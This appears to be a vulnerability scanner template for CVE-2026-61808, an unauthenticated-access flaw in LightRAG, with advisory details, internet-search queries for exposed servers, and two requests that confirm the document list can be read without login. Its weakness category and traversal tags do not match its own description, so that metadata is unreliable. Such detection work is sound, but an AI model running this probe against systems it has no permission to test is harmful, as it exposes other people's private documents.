LightRAG through version 1.5.4 contains a broken access control vulnerability caused by the API server binding to all network interfaces with authentication disabled, letting unauthenticated network attackers fully control indexed documents and resources, exploit requires network access.
PoC
id: CVE-2026-61808
info:
name: LightRAG <= 1.5.4 - Missing Authentication
author: str4k3r
severity: high
description: |
LightRAG through version 1.5.4 contains a broken access control vulnerability caused by the API server binding to all network interfaces with authentication disabled, letting unauthenticated network attackers fully control indexed documents and resources, exploit requires network access.
impact: |
Unauthenticated attackers can read, modify, delete documents, and consume resources, leading to full system compromise and denial of service.
remediation: |
Update to version 1.5.5rc1 or later.
reference:
- https://github.com/HKUDS/LightRAG/security/advisories/GHSA-mmg5-8x8q-v934
- https://nvd.nist.gov/vuln/detail/CVE-2026-61808
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
verified: true
max-request: 2
vendor: hkuds
product: lightrag
shodan-query: http.html:"LightRAG"
fofa-query: body="LightRAG"
tags: cve,cve2026,lightrag,lfi,traversal,ai
flow: http(1) && http(2)
http:
- raw:
- |
GET /health HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(tolower(body), "healthy", "lightrag", "status")'
condition: and
internal: true
- raw:
- |
GET /documents HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "statuses", "content_summary", "file_path")'
condition: and
# digest: 490a0046304402200af8e3fbcb6782ee7071df72d00a4e74b8df50cd58a10c682cf889f82341b01102203ccb4c95e97f30e01e4c118f3ad8a2cb503557ad0982714dc8541551bca8eb05:922c64590222798bb761d5b6d8e72950
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